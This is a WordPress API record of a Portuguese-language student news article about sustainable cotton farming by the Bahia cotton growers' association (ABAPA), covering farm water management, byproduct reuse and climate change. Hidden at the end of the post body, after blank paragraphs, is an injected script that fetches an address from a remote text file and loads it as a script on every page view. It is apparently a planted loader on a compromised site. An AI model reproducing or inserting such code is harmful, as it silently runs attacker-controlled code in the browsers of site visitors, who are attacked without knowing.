{"id":338,"date":"2023-09-18T11:06:39","date_gmt":"2023-09-18T14:06:39","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=338"},"modified":"2024-10-07T15:22:03","modified_gmt":"2024-10-07T18:22:03","slug":"sustentabilidade-na-producao-do-algodao-no-oeste-baiano","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=338","title":{"rendered":"Sustentabilidade na produ\u00e7\u00e3o do algod\u00e3o no Oeste Baiano"},"content":{"rendered":"<p>Reporgatem e fotos por Eduarda Maciel<\/p>\n<p>Associados contam com a ajuda de tecnologias e estrat\u00e9gias para amenizar os impactos da produ\u00e7\u00e3o do algod\u00e3o no meio ambiente<\/p>\n<p>&nbsp;<\/p>\n<p>A Associa\u00e7\u00e3o Baiana de Produtores de Algod\u00e3o (ABAPA) foi fundada nos anos 2000 e hoje \u00e9 considerada a maior produtora de algod\u00e3o da Bahia, e a segunda maior produtora de todo o Brasil. Localizada em Lu\u00eds Eduardo Magalh\u00e3es, no extremo oeste baiano, a associa\u00e7\u00e3o atua com a ajuda de tecnologias avan\u00e7adas e profissionais capacitados que trabalham durante toda a produ\u00e7\u00e3o, desde o plantio da semente do algod\u00e3o at\u00e9 a sua exporta\u00e7\u00e3o. O principal destino de exporta\u00e7\u00e3o do produto \u00e9 a China, seguido de Bangladesh e Vietn\u00e3.<\/p>\n<p>Al\u00e9m da fibra do algod\u00e3o, o caro\u00e7o tamb\u00e9m \u00e9 aproveitado, sendo feito diversos produtos a partir dele, como o \u00f3leo refinado comest\u00edvel e alguns tipos de adubo. Entretanto, n\u00e3o \u00e9 a versatilidade do algod\u00e3o que se destaca, mas sim a preocupa\u00e7\u00e3o da ABAPA com o meio ambiente. Diversos programas de preserva\u00e7\u00e3o est\u00e3o presentes nas fazendas e ind\u00fastrias associadas.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-344 aligncenter img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.53-300x300.jpeg\" alt=\"\" width=\"868\" height=\"868\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.53-300x300.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.53-150x150.jpeg 150w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.53-175x175.jpeg 175w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.53-380x380.jpeg 380w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.53.jpeg 721w\" sizes=\"auto, (max-width: 868px) 100vw, 868px\" \/><\/p>\n<p style=\"text-align: center;\">Produtos derivados do algod\u00e3o.<\/p>\n<p>A Fazenda Santa Isabel, por exemplo, possui grande compromisso com a conserva\u00e7\u00e3o do ecossistema local. A propriedade conta com mais de 70 mil hectares, nos quais s\u00e3o plantados soja e algod\u00e3o; e o grupo Franciosi &#8211; respons\u00e1vel pela fazenda &#8211; investe em estrat\u00e9gias para a preserva\u00e7\u00e3o dos recursos naturais presentes no local. Segundo Ana Paula, uma das representantes do grupo Franciosi, \u00e9 indispens\u00e1vel \u201cpreservar a natureza e garantir o bem maior: a vida em todas as gera\u00e7\u00f5es\u201d. Seguindo esse pensamento, foi constru\u00edda uma barragem de 9 milh\u00f5es de metros c\u00fabicos que, juntamente com tecnologias implantadas, contribui com a irriga\u00e7\u00e3o de toda a planta\u00e7\u00e3o. Tamb\u00e9m \u00e9 feita a preserva\u00e7\u00e3o dos animais e das nascentes dos rios que se encontram dentro da fazenda, al\u00e9m do monitoramento regular da umidade e temperatura do solo.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-345 aligncenter img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.54-300x300.jpeg\" alt=\"\" width=\"842\" height=\"842\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.54-300x300.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.54-150x150.jpeg 150w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.54-175x175.jpeg 175w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.54-380x380.jpeg 380w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.54.jpeg 521w\" sizes=\"auto, (max-width: 842px) 100vw, 842px\" \/><\/p>\n<p style=\"text-align: center;\">Planta\u00e7\u00e3o de algod\u00e3o Fazenda Santa Isabel.<\/p>\n<p>A Algodoeira Zanotto, que tamb\u00e9m faz parte da associa\u00e7\u00e3o, \u00e9 respons\u00e1vel pela separa\u00e7\u00e3o entre as fibras e o caro\u00e7o do algod\u00e3o. Durante todo o processo do beneficiamento \u00e9 feito o reaproveitamento das \u201csobras\u201d. Alguns detritos, por exemplo, s\u00e3o transformados em adubo; e as fibras que acabam sendo contaminadas por algum fator externo ou interno s\u00e3o vendidos para alguns produtores que trabalham especificamente com esses materiais. J\u00e1 o caro\u00e7o \u00e9 transportado para ind\u00fastrias que fazem o seu processamento, como a Icofort.\u00a0 Na Icofort, o caro\u00e7o do algod\u00e3o \u00e9 100% aproveitado, sendo dele produzido margarina (sem girassol), adubo, \u00f3leo refinado comest\u00edvel (sem girassol), dentre diversos outros produtos. Vale ressaltar que a por\u00e7\u00e3o prejudicial do \u00f3leo \u00e9 reaproveitada em outras partes da empresa.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>CRISE CLIM\u00c1TICA ATUAL<\/strong><\/p>\n<p>Falar sobre esse cuidado que a associa\u00e7\u00e3o tem com o meio ambiente \u00e9 de extrema import\u00e2ncia, visto as mudan\u00e7as clim\u00e1ticas atuais. O aquecimento global causado pela atividade humana se tornou uma emerg\u00eancia de n\u00edvel\u00a0 mundial e o planeta est\u00e1 cada vez mais quente. Diversos cientistas, inclusive o secret\u00e1rio-geral da Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas (ONU), Antonio Guterres,\u00a0 afirmam que estamos em um estado de \u201cebuli\u00e7\u00e3o global\u201d. De acordo com o Rel\u00f3gio Clim\u00e1tico, a atmosfera do planeta vai aquecer cerca de 1,5\u00baC at\u00e9 2040, resultando em altera\u00e7\u00f5es dr\u00e1sticas no mundo inteiro, como uma alta frequ\u00eancia de inc\u00eandios e secas, intensifica\u00e7\u00e3o da pobreza e consequ\u00eancias graves para a sa\u00fade humana.<\/p>\n<p>Ademais, \u00e9 ineg\u00e1vel a contribui\u00e7\u00e3o do agroneg\u00f3cio para esse cen\u00e1rio, sendo considerado um \u201cvil\u00e3o\u201d por muitos. Segundo o IPCC (Painel Intergovernamental de Mudan\u00e7as Clim\u00e1ticas), a agricultura \u00e9 uma das respons\u00e1veis pelo desmatamento de \u00e1reas florestais visando o plantio, contribuindo para a emiss\u00e3o de gases e, consequentemente, o efeito estufa. Por outro lado, a atividade agr\u00edcola \u00e9 diretamente afetada pelo aumento da temperatura do planeta, causando a redu\u00e7\u00e3o das \u00e1reas prop\u00edcias para o cultivo e preju\u00edzos para os produtores.<\/p>\n<p>\u00c9 nesse cen\u00e1rio atual que o agroneg\u00f3cio sustent\u00e1vel se torna ainda mais indispens\u00e1vel. O aperfei\u00e7oamento de todo o processo produtivo, uso consciente dos recursos que a natureza nos oferece e a implanta\u00e7\u00e3o de tecnologias avan\u00e7adas s\u00e3o algumas das alternativas que esse lado do agroneg\u00f3cio oferece, e a ABAPA \u00e9 um exemplo de que a sustentabilidade \u00e9 vi\u00e1vel dentro do agro. Com todas as suas estrat\u00e9gias para a preserva\u00e7\u00e3o do meio ambiente, a associa\u00e7\u00e3o consegue ser consciente ao mesmo tempo que n\u00e3o prejudica a lucratividade dos produtores. Al\u00e9m disso, a sustentabilidade promove uma prefer\u00eancia de compra, gerando mais lucratividade para os associados.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-346 aligncenter img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.55-300x300.jpeg\" alt=\"\" width=\"875\" height=\"875\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.55-300x300.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.55-150x150.jpeg 150w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.55-175x175.jpeg 175w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.55-380x380.jpeg 380w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2023\/09\/WhatsApp-Image-2023-09-18-at-11.04.55.jpeg 521w\" sizes=\"auto, (max-width: 875px) 100vw, 875px\" \/><\/p>\n<p style=\"text-align: center;\">Fibra natural do algod\u00e3o.<\/p>\n<p>O agroneg\u00f3cio sustent\u00e1vel funciona, e \u00e9 preciso que mais institui\u00e7\u00f5es comecem a utilizar tecnologias que consigam assegurar a qualidade do produto sem agredir drasticamente o meio ambiente, assim como a ABAPA. Dessa forma, \u00e9 poss\u00edvel diminuir, a longo prazo, os efeitos negativos da crise clim\u00e1tica, garantindo um futuro sustent\u00e1vel com boas condi\u00e7\u00f5es de vida a todos os seres vivos.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Reporgatem e fotos por Eduarda Maciel Associados contam com a&#8230;<\/p>\n","protected":false},"author":2,"featured_media":346,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[7,1,2],"tags":[],"class_list":["post-338","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-sem-categoria","category-webjornalismo"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/338","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=338"}],"version-history":[{"count":6,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/338\/revisions"}],"predecessor-version":[{"id":360,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/338\/revisions\/360"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/media\/346"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=338"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=338"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=338"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}